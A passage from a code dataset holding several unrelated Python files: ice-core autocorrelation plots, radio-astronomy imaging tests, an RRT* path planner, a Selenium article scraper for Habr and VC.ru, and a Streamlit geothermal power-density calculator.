pygame.display.update()","repo_name":"SolarWindss/Python","sub_path":"TOOLS/FORMAL/Subnautica Map Tracker/V1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18933162070","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nIce core ACF\nCreated on Wed May 19 14:05:10 2021\n\n@author: lizz\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nfrom statsmodels.graphics import tsaplots\n\n\n## Read in Greenland time series\ncore_accum_fpath = '/Users/lizz/Documents/GitHub/Data_unsynced/Ice_core_accum/Andersen_etal_2006_Annual_Accumulation_22Mar2011-trimmed.csv'\n\ncore_tseries = pd.read_csv(core_accum_fpath, index_col=0, parse_dates=[0])\ncore_names = core_tseries.columns\n\nseries_to_test = core_tseries\ncore_to_test = core_names[3]\n\n## Pre-process data\nanomaly_series = series_to_test - series_to_test.mean()\n\ntest_series = anomaly_series[core_to_test][~np.isnan(anomaly_series[core_to_test])]\n\nfig, ax = plt.subplots()\ntsaplots.plot_acf(test_series, ax=ax, lags=100, zero=False)\nax.set(xlabel='Lag [yr]', ylabel='Autocorr.', title='{} Core'.format(core_to_test.split()[0]))\nplt.show()\n\n## Plot all 5 cores together\nfig, (ax1, ax2, ax3, ax4, ax5) = plt.subplots(5, figsize=(10, 12), \n                                              sharex=True, sharey=True, tight_layout=True)\nfor c, ax in zip(core_names, (ax1,ax2,ax3,ax4,ax5)):\n    try:\n        ts = anomaly_series[c][~np.isnan(anomaly_series[c])]\n        tsaplots.plot_pacf(ts, ax=ax, lags=100, zero=False)\n        ax.set(ylabel='Partial acorr.', title='{} Core'.format(c.split()[0]))\n    except:\n        continue\nax5.set(xlabel='Lag [yr]')\n\n## Plot 4 cores together - 500 years. Milcent not long enough\nfig, (ax6, ax7, ax8, ax9) = plt.subplots(4, figsize=(10, 12), \n                                              sharex=True, sharey=True, tight_layout=True)\nfor c, ax in zip((name for name in core_names if 'Milcent' not in name), \n                 (ax6,ax7,ax8,ax9)):\n    try:\n        ts = anomaly_series[c][~np.isnan(anomaly_series[c])]\n        tsaplots.plot_pacf(ts, ax=ax, lags=500, zero=False)\n        ax.set(ylabel='Partial acorr.', title='{} Core'.format(c.split()[0]))\n    except:\n        continue\nax5.set(xlabel='Lag [yr]')\n\n## Plot with a different coloring when significant\nfig, ax = plt.subplots(figsize=(10,5))\ntsaplots.plot_pacf(test_series, ax=ax, lags=100, zero=False)\nax.set(xlabel='Lag [yr]', ylabel='Autocorr.', title='{} Core'.format(core_to_test.split()[0]))\nplt.show()\n","repo_name":"ehultee/stoch-SMB","sub_path":"processing-archive/icecore-ACF.py","file_name":"icecore-ACF.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"25753732462","text":"\"\"\"\nimaging tests: what gridders do what to the data?\n\"\"\"\nimport os\n#import runpy\n#runpy.run_path('continuum_imaging_general.py')\nimport pyregion\nimport numpy as np\nimport sys\nassert os.getenv('SCRIPT_DIR') is not None\nsys.path.append(os.getenv('SCRIPT_DIR'))\nfrom continuum_imaging_general import myclean, makefits\nfrom continuum_windows import Qmses\n\nfrom astropy.io import fits\nfrom astropy import wcs\n\nfrom taskinit import msmdtool, iatool, casalog, tbtool\n\nfrom tclean_cli import tclean_cli as tclean\nfrom flagdata_cli import flagdata_cli as flagdata\nfrom ft_cli import ft_cli as ft\nfrom gaincal_cli import gaincal_cli as gaincal\nfrom applycal_cli import applycal_cli as applycal\nfrom concat_cli import concat_cli as concat\nfrom importfits_cli import importfits_cli as importfits\nfrom imhead_cli import imhead_cli as imhead\nfrom makemask_cli import makemask_cli as makemask\nfrom exportfits_cli import exportfits_cli as exportfits\nfrom importfits_cli import importfits_cli as importfits\nfrom clearcal_cli import clearcal_cli as clearcal\nfrom split_cli import split_cli as split\nia = iatool()\nmsmd = msmdtool()\ntb = tbtool()\n\n\ndef myprint(x):\n    print(x)\n    casalog.post(str(x), origin='singlefield')\n\n\nmses = list(Qmses.keys())\n\n\nfullpath_mses = ['../' + ms[:-3] + \"_continuum_split_for_selfcal.ms\"\n                 for ms in mses if ms in Qmses]\n\ncont_vis = []\nfor ms in fullpath_mses:\n    splitagain = ms[:-3] + \"_SgrB2_NM_Q.ms\"\n    myprint(\"{0} -> {1}\".format(ms, splitagain))\n    if not os.path.exists(splitagain):\n        assert split(vis=ms, outputvis=splitagain,\n                     field='Sgr B2 NM Q',\n                     datacolumn='corrected')\n    cont_vis.append(splitagain)\n\n\n\ncleanbox_mask_image = 'cleanbox_mask_SgrB2.image'\ncleanbox_mask = 'cleanbox_mask.mask'\nmask = cleanbox_mask_image\n\n\nselfcal_fields = \"Sgr B2 N Q,Sgr B2 NM Q,Sgr B2 MS Q\".split(\",\")\nselfcal_fields = ['Sgr B2 NM Q']\n\n\nextrapars = {'wproject': {'wprojplanes': 64,\n                          #'rotatepastep': 5.0,\n                          #'cfcache':'test_wtermmerge.cfcache',\n                          #'conjbeams':True,\n                          #'wbawp':True,\n                         },\n             'mosaic': {},\n             'standard': {},\n             'widefield': {},\n             'awproject': {'wprojplanes': 64,\n                           'rotatepastep': 5.0,\n                           'cfcache':'test_awtermmerge.cfcache',\n                           'conjbeams':True,\n                           'wbawp':True,\n                         },\n            }\n\nfor gridder in ('standard', 'wproject', 'widefield', 'mosaic', 'awproject'):\n\n    try:\n        imagename = '18A-229_Q_singlefield_imaging_smallfield_test_{0}'.format(gridder)\n        myclean(vis=cont_vis,\n                fields=selfcal_fields,\n                spws='',\n                imsize=1000,\n                phasecenters={\"Sgr B2 N Q\":'J2000 17h47m19.897 -28d22m17.340',\n                              \"Sgr B2 NM Q\":'J2000 17h47m20.166 -28d23m04.968',\n                              \"Sgr B2 MS Q\":'J2000 17h47m20.166 -28d23m04.968',\n                              \"Sgr B2 S Q\":'J2000 17h47m20.461 -28d23m45.059',\n                             },\n                cell='0.01arcsec',\n                name=imagename,\n                gridder=gridder,\n                niter=10000,\n                threshold='0.5mJy',\n                scales=[0,3,9],\n                robust=0.5,\n                savemodel='none',\n                mask=mask,\n                noneg=False,\n                **extrapars[gridder]\n               )\n    except Exception as ex:\n        myprint(ex)\n\nfor gridder in ('standard', 'wproject', 'widefield', 'mosaic', 'awproject'):\n\n    imagename = '18A-229_Q_singlefield_imaging_largefield_test_{0}'.format(gridder)\n    try:\n        myclean(vis=cont_vis,\n                fields=selfcal_fields,\n                spws='',\n                imsize=4000,\n                cell='0.01arcsec',\n                name=imagename,\n                gridder=gridder,\n                niter=10000,\n                threshold='1mJy',\n                scales=[0,3,9],\n                robust=0.5,\n                savemodel='none',\n                mask=mask,\n                noneg=False,\n                **extrapars[gridder]\n               )\n    except Exception as ex:\n        myprint(ex)\n","repo_name":"keflavich/SgrB2_VLA_18A-229","sub_path":"reduction/singlefield_imaging_tests.py","file_name":"singlefield_imaging_tests.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33464630840","text":"import pygame\nimport random\nimport time\nfrom Node import *\nfrom Obstacle import obstacle\nfrom RRT import *\nfrom visulization import visualization\nimport time\n\ndef up():\n    vis.update()\n\nif __name__ == \"__main__\":\n    \n    running  = True\n\n    #simulations setup\n    scale = 7\n    obstalce_list = [\n        obstacle([(20,20),(20,40),(80,40),(80,20)]),\n        obstacle([(20,20+30),(20,40+30),(80,40+30),(80,20+30)]),\n        obstacle([(90,30),(90,80),(100,80),(100,30)])\n    ]\n    cardV = 1\n    eta = 2\n    acc = 10\n    n = 2000\n    root = Node(0,0)\n    target = (115,95)\n    size = (125,100)\n    eta = 3\n    printed = False\n    #create the visualization \n    vis = visualization(size,root,target_ = target, accuracy_ = acc, obstacles_ = obstalce_list, scale_ = 4)\n    \n    xNewNode = root\n    \n    gammaRRT = getGammaRRT(3,obstalce_list,size)\n    pathsEnds =[]\n    path = []\n    minPathNode = Node(1,1)\n    iterations = 0\n    start_time = time.time()\n    while running:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                running = False\n        #main loop\n        iterations +=1\n        if(iterations <n):\n            xRand = SampleFree(obstalce_list,size)\n            xNearest = Nearest(root,xRand)\n            xNew = steer(xNearest,xRand,eta)\n            if obstacleFree(xNearest,xNew,obstalce_list):\n                cMin = 0\n                xNewNode = Node(xNew[0],xNew[1])\n                ##need to add Card(V)\n                #NearPoints = Near(root,xNew,min(eta,gammaRRT*((cardV/(2**cardV))**(1/2))))\n                NearPoints = Near(root,xNew,eta)\n                xMin = xNearest \n                cMin = Cost(xNearest)+ CostOfEdge(xNearest,xNewNode)\n                for xNear in NearPoints:\n                    if(collisionFree(xNear,xNew,obstalce_list)and Cost(xNear) + CostOfEdge(xNear,xNewNode)<cMin):\n                        xMin = xNear\n                        cMin = Cost(xNear) + CostOfEdge(xNear,xNewNode)\n                xMin.addChild(xNewNode)\n                cardV +=1\n                for xNear in NearPoints:\n                    if collisionFree(xNear,(xNewNode.x,xNewNode.y),obstalce_list) and Cost(xNewNode)+ CostOfEdge(xNear,xNewNode)< Cost(xNear):\n\n                        xParent = xNear.parent\n                        xNewNode.addChild(xNear)\n                        xParent.connected.pop(xParent.connected.index(xNear))\n                if distToPoint(xNewNode,target)< acc:\n                    pathsEnds.append(xNewNode)\n            if(len(pathsEnds)>0):\n                minNode = min(pathsEnds, key = lambda x:Cost(x))\n                path = getPathToGoal(minNode)\n                vis.path = path\n            up()\n        else:\n            if not printed:\n                printed = True\n                print(\"time to Execute:\",n,time.time() - start_time)\n            \n            \n            #vis.update()\n        #pygame.display.flip()\n","repo_name":"AndrewCDownie/MTHE493","sub_path":"RRTStar.py","file_name":"RRTStar.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"17787617502","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAll service parsers implemented in this module. Parser registration goes here too.\n\nWhen adding new Source all we have to do is to implement two new classes: SourceParser and SourceParserBuilder.\nFinally, we will need to register our newly created Parser within our Factory and we are done.\n\"\"\"\n\nimport requests\nimport logging\nimport os\nimport concurrent.futures\nimport itertools\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom fake_useragent import UserAgent\n\nfrom .factory import ObjectFactory\nfrom article.models import Article\n\nlogger = logging.getLogger('django')\n\napp_dir = os.path.dirname(os.path.abspath(__file__))\nuseragent = UserAgent()\nprofile = webdriver.FirefoxProfile()\n\n\nclass HabrParser:\n    \"\"\"Parser for HabraHabr resource.\"\"\"\n\n    def __init__(self, driver):\n        self.driver = driver\n\n    def test_connection(self):\n        \"\"\"Test if authentication to source with user credentials went fine.\"\"\"\n\n        auth_flag = False\n        if self.driver.get_cookies():\n            cookies = self.driver.get_cookies()\n            for cookie in cookies:\n                if cookie.get('name') == 'acc_sess_id':\n                    auth_flag = True\n                    break\n\n        return auth_flag\n\n    def do_parse(self, url):\n        \"\"\"Start parsing process. Get pages to parse. Return generator with parsed articles\"\"\"\n\n        sleep(1)\n        feed_url = 'https://habr.com/ru/conversations/'\n        # we have to visit some light-weight page before going to feed to prevent redirect\n        self.driver.get(feed_url)\n\n        sleep(1)\n        feed_url = 'https://habr.com/ru/feed/'\n        self.driver.get(feed_url)\n\n        html = self.driver.page_source\n        soup = BeautifulSoup(html, 'lxml')\n\n        paginator = soup.find('ul', id='nav-pagess')\n        pages_with_arts = ['https://habr.com/ru/feed/page1/']  # list of pages to be iterated through\n        if paginator:\n            lis = [li for li in paginator.find_all('li')]\n            last_li_href = lis[-1].find('a')['href']\n            last_page = int(last_li_href.split('/')[-2].split('page')[-1])\n\n            for i in range(2, last_page + 1):\n                pages_with_arts.append('https://habr.com/ru/feed/page{}/'.format(i))\n\n        # TODO: implement multithreading. We need separate driver (?) for each thread to work properly within selenium\n        # with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:\n        #    articles = executor.map(self.parse_page, pages_with_arts)\n\n        articles = list()\n        pages_with_arts = pages_with_arts[:3]  # for fast debug\n        for page in pages_with_arts:\n            articles.append(self.parse_page(page))\n\n        self.driver.close()\n\n        return list(itertools.chain(*articles))\n\n    def parse_page(self, page):\n        \"\"\"Receives page url to parse articles from. Returns list of articles.\"\"\"\n        sleep(1)\n\n        self.driver.get(page)\n        page_html = self.driver.page_source\n        soup = BeautifulSoup(page_html, 'lxml')\n        articles = soup.find_all('article')\n\n        page_articles = list()\n        if articles:\n            # attempt to speed up the process while main threading doesn't work in current selenium realization\n            with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:\n                page_articles = executor.map(self.parse_article, articles)\n\n        return page_articles\n\n    def parse_article(self, article):\n        parsed_article = dict()\n        h2 = article.find('h2')\n        h2_a = article.find('h2').find('a')\n        href = h2_a['href'] if h2_a else ''\n\n        if href:\n            try:\n                article = Article.objects.get(url=href)\n            except Article.DoesNotExist:\n                article = None\n\n            if not article:\n                try:\n                    detail = BeautifulSoup(requests.get(href).content, \"lxml\")\n                    body_post = detail.find('div', id='post-content-body')\n                    if body_post:\n                        full_text = detail.find('div', id='post-content-body').get_text().strip()\n                        parsed_article = {\n                            'url': href,\n                            'header': h2.get_text().strip(),\n                            'text': full_text\n                        }\n                        sleep(0.5)\n                    else:\n                        logging.error(\"URL {} has no body.\".format(href))\n                except Exception as ex:\n                    logger.error('Error \"{}\" while trying to open url: {}'.format(ex, href))\n            else:\n                # we have already stored this article in database and just need to connect it with user\n                parsed_article = {\n                    'db_article': article\n                }\n\n        return parsed_article\n\n\nclass HabrParserBuilder:\n    def __init__(self):\n        self._instance = None\n\n    def __call__(self, login, password, **kwargs):\n        driver = self.authorize(login, password)\n        return HabrParser(driver)\n\n    def authorize(self, login, password):\n        \"\"\"\n        Method authorize user within HabraHabr and return selenium driver object with all required cookies.\n\n        Receives user login and password. Generates random fake user agent.\n        Using selenium authorizes user, retrieves cookies.\n        Returns selenium web driver object for next actions.\n\n        :param login:\n        :param password:\n        :return: webdriver:driver\n        \"\"\"\n\n        profile.set_preference('general.useragent.override', useragent.random)\n\n        driver = webdriver.Firefox(profile)\n\n        url = \"https://account.habr.com/login/\"\n        driver.get(url)\n        driver.find_element_by_id('email_field').send_keys(login)\n        sleep(.5)\n        driver.find_element_by_id('password_field').send_keys(password)\n        sleep(1)\n        driver.find_element_by_name('go').click()\n\n        return driver\n\n\nclass VcParser:\n    \"\"\"Parse for VC.RU resource.\"\"\"\n\n    def __init__(self, driver):\n        self.driver = driver\n\n    def test_connection(self):\n        \"\"\"Test if authentication to source with user credentials went fine.\"\"\"\n\n        auth_flag = False\n        if self.driver.get_cookies():\n            cookies = self.driver.get_cookies()\n            for cookie in cookies:\n                if cookie.get('name') == 'osnova-aid':\n                    auth_flag = True\n                    break\n\n        return auth_flag\n\n    def do_parse(self, url):\n        \"\"\"Starts parsing process\"\"\"\n        sleep(1)\n\n        height = self.driver.execute_script(\"return document.body.scrollHeight\")\n        # Simulation of scrolling down process, until all articles will be shown\n        while True:\n            body = self.driver.find_element_by_tag_name('body')\n            body.send_keys(Keys.END)\n\n            sleep(3)  # wait till new articles will be loaded via AJAX\n\n            current_height = self.driver.execute_script(\"return document.body.scrollHeight\")\n            if current_height != height:\n                height = current_height\n            else:\n                # no more articles to load\n                break\n\n        page_html = self.driver.page_source\n        soup = BeautifulSoup(page_html, 'lxml')\n        articles = soup.find_all('div', {'class': 'feed__item l-island-round'})\n\n        with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:\n            page_articles = executor.map(self.parse_article, articles)\n\n        self.driver.close()\n\n        return page_articles\n\n    def parse_article(self, article):\n        \"\"\"Receives article preview. Return dict with fill article info, or with existed article in db.\"\"\"\n\n        parsed_article = dict()\n\n        author = article.find('div', {'class': 'content-header-author__name'})\n        if author and author.get_text().strip() != \"Промо\":  # we don't want promo blocks to get parsed\n            h2 = article.find('h2')\n            full_link = article.find('a', {'class': 'content-feed__link'})\n            href = full_link['href'] if full_link else ''\n\n            if href:\n                try:\n                    article = Article.objects.get(url=href)\n                except Article.DoesNotExist:\n                    article = None\n\n                if not article:\n                    try:\n                        detail = BeautifulSoup(requests.get(href).content, \"lxml\")\n                        body_post = detail.find('div', {'class': 'content content--full'})\n                        if body_post:\n                            # remove some web page stuff\n                            try:\n                                body_post.find('div', {'class': 'l-island-a l-mv-20 content-counters'}).decompose()\n                                body_post.find('div', {'class': 'authorCard l-mt-30'}).decompose()\n                            except Exception as ex:\n                                logger.error('Error \"{}\" while trying to remove unused elements from page: {}'.format(ex, href))\n                            full_text = body_post.get_text().strip()\n                            parsed_article = {\n                                'url': href,\n                                'header': h2.get_text().strip(),\n                                'text': full_text\n                            }\n                            sleep(0.5)\n                        else:\n                            logging.error(\"URL {} has no body.\".format(href))\n                    except Exception as ex:\n                        logger.error('Error \"{}\" while trying to open url: {}'.format(ex, href))\n                else:\n                    # we have already stored this article in database and just need to connect it with user\n                    parsed_article = {\n                        'db_article': article\n                    }\n\n        return parsed_article\n\n\nclass VcParserBuilder:\n    def __init__(self):\n        self._instance = None\n\n    def __call__(self, login, password, **kwargs):\n        driver = self.authorize(login, password)\n        return VcParser(driver)\n\n    def authorize(self, login, password):\n        \"\"\"\n        Method authorize user within VC and return selenium driver object with all required cookies.\n\n        Receives user login and password. Generates random fake user agent.\n        Using selenium authorizes user, retrieves cookies.\n        Returns selenium web driver object for next actions.\n\n        :param login:\n        :param password:\n        :return: webdriver:driver\n        \"\"\"\n\n        profile.set_preference('general.useragent.override', useragent.random)\n\n        driver = webdriver.Firefox(profile)\n\n        try:\n            url = \"https://vc.ru/\"\n            driver.get(url)\n            driver.find_element_by_class_name('site-header-user-login__label').click()\n            auth_buttons = driver.find_elements_by_class_name('social-auth__button')\n            for button in auth_buttons:\n                if button.get_attribute('air-click') == 'auth_goto_tab':\n                    button.click()\n                    break\n            driver.find_element_by_name('login').send_keys(login)\n            sleep(.5)\n            driver.find_element_by_name('password').send_keys(password)\n            sleep(1)\n            driver.find_element_by_name('password').send_keys(Keys.ENTER)\n        except Exception as ex:\n            logger.error('Error during auth process VC.RU: {}'.format(ex))\n\n        return driver\n\n\nfactory = ObjectFactory()\nfactory.register_builder('HABR', HabrParserBuilder())\nfactory.register_builder('VC', VcParserBuilder())\n","repo_name":"UNREALre/TopArticles","sub_path":"top_parser/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":11715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"33182401580","text":"import pandas as pd\nimport matplotlib\n\ndef plot_bar_by_feature(dataset, feature, size_delta=(0,0)):\n    features = dataset.columns.tolist()\n    if feature not in features:\n        return\n    data = {feature:[], 'counts':[]}\n    for a in dataset[feature].unique():\n        data[feature].append(a)\n        data['counts'].append(dataset[dataset[feature] == a].shape[0])\n    DFData = pd.DataFrame(data)\n    DFData = DFData.sort_values(by=['counts'], ascending=False)\n    a = DFData.plot.bar(x=feature, y='counts')\n    W,H = a.figure.get_size_inches()\n    a.figure.set_size_inches(W+size_delta[0],H+size_delta[1])\n    a.figure.show()\n    # a.figure.savefig('../images/'+feature)","repo_name":"SongShawn/MachineLearning","sub_path":"capstone/solutions/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39305027194","text":"# -*- coding: utf-8 -*-\n\"\"\"\nApp created on Thu May 13 09:31:30 2021\nThen expanded on with love. \n\nThis app remains a work in progress :-) \n\nKey changes needed include:\n-   Chat to Jan about the addion of mean and sd of input paramaters. \n    Perhaps it would be better to include an option to download the paramaters as passed in\n    plus a calculated P50. It would also be useful to include the P10-P50-P90 MWe result in this. \n\n-   Copy edit and trim the text. \n\n-   Remake the power density plot into something that better reflects the underlying data.\n\n-   Set up to call the calculate_cumulative_conf from a helper function file \n    rather than repeat here and elsewhere in the repo. \n\nThere are a number of working refinements and thoughts throughout this file tagged with \"NOTE\"\n\n\"\"\"\n\n# Import libraries for viz\nimport streamlit as st\nimport plotly.express as px\nimport pandas as pd\nimport base64\nfrom pathlib import Path\n\n# Import libraries for computation\nimport numpy as np\nimport scipy\nfrom scipy.stats import norm, lognorm\nimport matplotlib.pyplot as plt\n\n# ================\n# Helper functions\n# ================\n\n# NOTE We should look at calling the calculate_cumulative_conf function from a centralized function file\n\ndef download_link(object_to_download, download_filename, download_link_text):\n    \"\"\"Generates a link from which the user can download object_to_download \n    \n    Method from https://discuss.streamlit.io/t/heres-a-download-function-that-works-for-dataframes-and-txt/4052\n\n    Args:   object_to_download (str, pd.DataFrame):  The object to be downloaded\n            download_filename (str): Filename and extension of file (e.g. mydata.csv or some_txt_output.txt)\n            download_link_text (str): Text to display for download link\n\n    Example:   download_link(YOUR_DF, 'YOUR_DF.csv', 'CSV built! Click here to download your data!')\n    \"\"\"\n    if isinstance(object_to_download,pd.DataFrame):\n        object_to_download = object_to_download.to_csv(index=True)\n\n    # some strings <-> bytes conversions necessary here\n    b64 = base64.b64encode(object_to_download.encode()).decode()\n\n    return f'<a href=\"data:file/txt;base64,{b64}\" download=\"{download_filename}\">{download_link_text}</a>'\n\n\ndef calculate_cumulative_conf(areaP90: float=1., areaP10: float=10., pdP90: float=10., pdP10: float=24):\n    \"\"\"Calculate cumulative confidence level for expected development size in MW\n\n    Args:\n        areaP90 (float): pessimistic area in sqkm\n        areaP10 (float): optimistic area in sqkm\n        pdP90 (float): pessimistic power density in MWe/sqkm\n        pdP10 (float): optimistic power density in MWe/sqkm\n\n    Returns:\n        prob_df (pandas Dataframe): cumulative confidence curve in Reservoir Size\n    \"\"\"\n    # calculate area > 250 °C\n    area_mu = ((np.log(areaP90)+np.log(areaP10))/2)\n    area_sigma = (np.log(areaP10)-np.log(areaP90))/((norm.ppf(0.9)-(norm.ppf(0.1))))\n\n    # calculate powerdensity mean and standard dev\n    powerdens_mu = ((np.log(pdP90)+np.log(pdP10))/2)\n    powerdens_sigma = (np.log(pdP10)-np.log(pdP90))/((norm.ppf(0.9)-(norm.ppf(0.1))))\n\n\n    capacity_mu = area_mu + powerdens_mu\n    capacity_sigma = ((area_sigma**2)+(powerdens_sigma**2))**0.5\n    eds = [lognorm.ppf(x/100, capacity_sigma, loc=0, scale=np.exp(capacity_mu)) for x in range(0,100)]\n    indx = list(np.arange(0,100)[::-1])\n    edsepc_tups = list(zip(indx,eds))\n    prob_df = pd.DataFrame(edsepc_tups, columns = ['Cumulative confidence (%)', 'Expected development size (MWe)'])\n\n    return prob_df\n\n\n# =============\n# Streamlit app\n# =============\n\n# ----------------------\n# Headder and intro text\n# ----------------------\n\nst.title('Conventional Geothermal Resource Exploration Tool')\n\nst.write('This tool does the calculations required for estimating the:')\n\nst.write('1. Probability of exploration success') \nst.write('2. Resource capacity using a probabilistic, lognormal power density method')\n\nst.markdown(\"___\")\n\n# -----------------------------------\n# Estimate the probability of success \n# -----------------------------------\n\nst.write('# 1. Probability of Exploration Success')\n\nst.write('This is a transparent method for estimating the probability of exploration success, ' + \n    'where exploration success is defined as discovering a commercially viable resource.')\n\n# NOTE need to find better way of formatting lists\n\nst.write('Estimate the percent confidence that the prospect has the following ' + \n    'based on the available resource data and the conceptual model:') \n\nst.write('1. Sufficient temperature for the desired power conversion technology or direct use application')\nst.write('2. Enough permeability to support economic well flows (self-flowing or pumped wells)')\nst.write('3. Benign or manageable fluid chemistry') \n\nst.write(' ') # NOTE need to look into better method for spacing layout \n\n#\n# Make sliders\n#\n\ncol1, col2, col3 = st.columns(3) # Show sliders in 3 columns\n\nPtemp = col1.slider('Temperature', value=65, min_value=1, max_value=100,step=1, format='%i%%', key='Ptemp')\nPperm = col2.slider('Permeability', value=65, min_value=1, max_value=100,step=1, format='%i%%', key='Pperm')\nPchem = col3.slider('Chemistry', value=95, min_value=1, max_value=100,step=1, format='%i%%', key='Pchem')\n\n\n#\n# Calculate POS in decimal percent\n#\n\nPtemp /= 100 \nPperm /= 100\nPchem /= 100\n\nPOSexpl = Ptemp * Pperm * Pchem\n\n\n#\n# Output POS result to app in percent rounded to nearest whole number\n#\n\nst.write(f'_{round(Ptemp*100)}% temperature \\* {round(Pperm*100)}% permeability ' +\n    f'* {round(Pchem*100)}% chemistry = {round(POSexpl*100)}% probability of exploration success_')\n\n\n#\n# App formatting\n#\n\nst.markdown(\"___\")\n\n\n# -----------------------\n# Estimate power capacity\n# -----------------------\n\n\n#\n# Intro text\n#\n\nst.write(\"# 2. Power Capacity\")\n\nst.write('Power density is one of several methods used to evaluate the ' + \n    'power capacity of conventional geothermal resources. ' + \n    'The power density method implemented here uses a probabilistic framework where ' + \n    'pessimistic (P90) and optimistic (P10) estimates of area and power density ' +\n    'are input and a probability distribution of power capacity is returned. ' +\n    'The entire method involves three steps, and this tool does the calculations required for the third step.')\n\nst.write('**Step 1:** Integrates available resource data into a set of conceptual models ' +\n    'that reflect the smallest (pessimistic, P90) and largest (optimistic, P10) resource ' +\n    'that could be present. The P50 model is typically also discussed at this stage, but is not an input parameter for Step 3. ' + \n    'Refer to [Cumming 2009](https://pangea.stanford.edu/ERE/pdf/IGAstandard/SGW/2009/cumming.pdf) ' +\n    'for how to construct conceptual models from surface exploration data. Refer to ' +\n    '[Wallis et al 2017](https://www.geothermal-energy.org/pdf/IGAstandard/NZGW/2017/111_Wallis-Final_.pdf) ' + \n    'for approaches to reservoir volume uncertainty and a tool that assists with developing the P10/P90 end-member models.')\n\nst.write('**Step 2:** Project the potentially productive resource volume in the P10 and P90 conceptual models ' + \n    'to a plan-view map and calculate the area. The potentially productive resource is the extent of ' + \n    'the reservoir with sufficient temperature to support the desired power conversion technology or direct use application. ' +\n    'This means that resource areas below the temperature limit of preferred power conversion technology are excluded. '\n    'Refer to [Cumming 2016a](https://publications.mygeoenergynow.org/grc/1032377.pdf) (Figure 9) for ' + \n    'how to project the conceptual models to surface and calculate the area.' )\n\nst.write('**Step 3:** Calculate the power capacity by ' +\n    'multiplying the P10 and P90 area of the potentially productive resource (km2) with a range of ' + \n    'power density (MWe/km2), where the latter by comparison to analogous developed resources. ' +\n    'Sections 2.1 and 2.2 below are designed to assist resource scientists with this step. '\n    'The lognormal approach to power density used in this web-app is described in ' +\n    '[Cumming 2016b](https://pangea.stanford.edu/ERE/pdf/IGAstandard/SGW/2016/Cumming.pdf).')\n\n# --------------------------------\n# Select Appropriate Power Density\n# --------------------------------\n\nst.write('# 2.1 Estimate Power Density')\n\nst.write('Power density is defined as the sustainable generation (in megawatts) per square kilometer of productive resource area. '+\n    'Below we step through how a reasonable range of power capacity can be identified for an exploration prospect. ')\n\nst.write('Because there is a strong relationship between temperature and power capacity, temperature guides selection of the ' +\n    'power density values that are used to calculate capacity. However, temperature is not used in the calculation. The values input below are included for reporting purposes. ')\n\ncolA, colB = st.columns(2)\n\n# NOTE should probably should add a message/try catch that says these fields must be numeric\nTmax = float(colA.text_input(\"Average temperature (degC) in the P90 area\", 280))\nTmin = float(colB.text_input(\"Minimum temperature for the P10 area (degC)\", 250))\n\nst.write('Use these temperatures and the geologic setting of your prospect to ' + \n    'identify developed geothermal systems that have similar characteristics. ' +\n    'We use geologic setting to identify analogues because geology influences permeability, ' + \n    'which is another resource characteristic that greatly influences power capacity. ' )\n\nst.write('Evaluation of the production area and power capacity of well-selected developed analogues ' + \n    'provides the most reliable range of power density. ' + \n    'For open access information on developed resources, refer to conference paper databases ' +\n    'maintained by the [International Geothermal Association](https://www.geothermal-energy.org/explore/our-databases/conference-paper-database/) ' + \n    'and [Geothermal Rising](https://www.geothermal-library.org/). ' + \n    'NREL maintains [geothermal wiki](https://openei.org/wiki/Geothermal_Areas) that is a growing repository of case study information.')\n\nst.write('If no analogues can be identified, then take the minimum temperature of the P10 area ' +\n    'and find a power density range using the plot below. ' + \n    'For example, a minimum P10 temperature of 250degC would yeld a range as wide as 2 - 23 MW/km2. ' +\n    'This wide range is appropriate and reflects the large uncertainty present in the power density estimate when there are no developed analogues.')\n\npd_database = pd.read_csv(r'https://raw.githubusercontent.com/Geothermal-Resource-Capacity/Power-Density/main/data/PowerDensityDatabase_Expanded.csv')\nfig = px.scatter(\n    pd_database, \n    x='Average temperature [degC]', \n    y='Power density [MWe/km2]', \n    color='System type',\n    hover_data=['Field', 'System type', 'Average temperature [degC]', 'Enthalpy classification', 'Power density [MWe/km2]'],\n)\n\nst.plotly_chart(fig)\n\nst.write('The plotted power density and average temperature are from Wilmarth et al. (2019), which expands on earlier work published ' + \n    '[here](https://www.geothermal-energy.org/pdf/IGAstandard/WGC/2015/16020.pdf). ' +\n    'The power density was calculated by dividing the sustained production in MWe by the area within a merged 500 m buffer ' + \n    'placed around production wells. It follows that these power densities may not directly equate to the area of potentially productive resource ' + \n    'and the areas defined using the concept model process. However, these power density values were created using a systematic approach and are a reasonable approximation. ' +\n    'The information on system type and enthalpy classification ' +\n    'are from literature review conducted by Irene Wallis. The data in this plot has been ' + \n    'made open access in [this repository](https://github.com/Geothermal-Resource-Capacity/Power-Density) under an Apache 2 license.') \n\n# ---------------------------\n# Power capacity - user input\n# ---------------------------\n\nst.write('# 2.2 Calculate Power Capacity')\nst.write('Input your P90 (pessimistic) and P10 (optimistic) estimates for ' + \n    'area from your conceptual model and power density based on developed analogues.') \n\ncolA, colB = st.columns(2)\n\ncolA.header(\"Input Area\")\ncolB.header(\"Input Power Density\")\n\nArea_P90 